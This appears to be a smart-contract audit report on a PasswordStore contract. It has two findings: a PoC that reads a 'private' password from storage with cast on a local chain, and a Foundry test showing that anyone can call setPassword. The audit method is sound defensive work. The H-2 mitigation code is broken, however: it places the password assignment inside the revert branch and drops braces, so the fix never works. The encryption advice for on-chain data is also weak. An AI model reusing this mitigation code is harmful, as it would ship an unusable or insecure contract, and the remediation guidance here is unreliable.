Author: Jayanta Sharma

[H-1] Title : Stored Password is not private and it can be accessible to anyone.

Description: In contract `s_password` is defined as private, however it is not the case, anyone can steal the password.

Impact: Core funactionality of the contract is broken.

Proof of Concept: Plesae follow the steps below in sequence.

▶ PoC

1. Create a locally running chain make anvil
2. Deploy the contract to the chain make deploy copy the contract address
3. Run the storage tool We use 1 because that's the storage slot of s_password in the contract.

   cast storage <ADDRESS_HERE> 1 --rpc-url http://127.0.0.1:8545
4. You'll get an output that looks like this:

   0x6d7950617373776f726400000000000000000000000000000000000000000014
5. You can then parse that hex to a string with:

   cast parse-bytes32-string 0x6d7950617373776f726400000000000000000000000000000000000000000014
6. And get an output of:

   myPassword

Recommended Mitigation: To address the privacy vulnerability of s_password and prevent potential theft of the password, consider the following mitigation strategies:

Encryption: Encrypt sensitive data, such as passwords, before storing them in the contract storage. Use robust encryption algorithms and secure key management practices to safeguard the data from unauthorized access.

[H-2] Title : Access Control is missing on `setPassword` functionality and anyone can set the password.

Description: Access Control is missing on `setPassword` functionality and anyone can set the password.

Impact: Core funactionality of the contract is broken.

Proof of Concept: PLease copy the below test in `PasswordStore.t.sol` and run the test.

▶ PoC

```
function test_Not_owner_can_set_password(address Not_owner) public {
    vm.startPrank(Not_owner);
    string memory expectedPassword = "myNewPassword1";
    passwordStore.setPassword(expectedPassword);
    vm.startPrank(owner);
    string memory actualPassword = passwordStore.getPassword();
    assertEq(actualPassword, expectedPassword);
    }
```

Recommended Mitigation: PLease add access control rule as indicated below.

```
function setPassword(string memory newPassword) external {
+   if (msg.sender != s_owner) {
+       revert PasswordStore__NotOwner();
        s_password = newPassword;
        emit SetNetPassword();
    }
```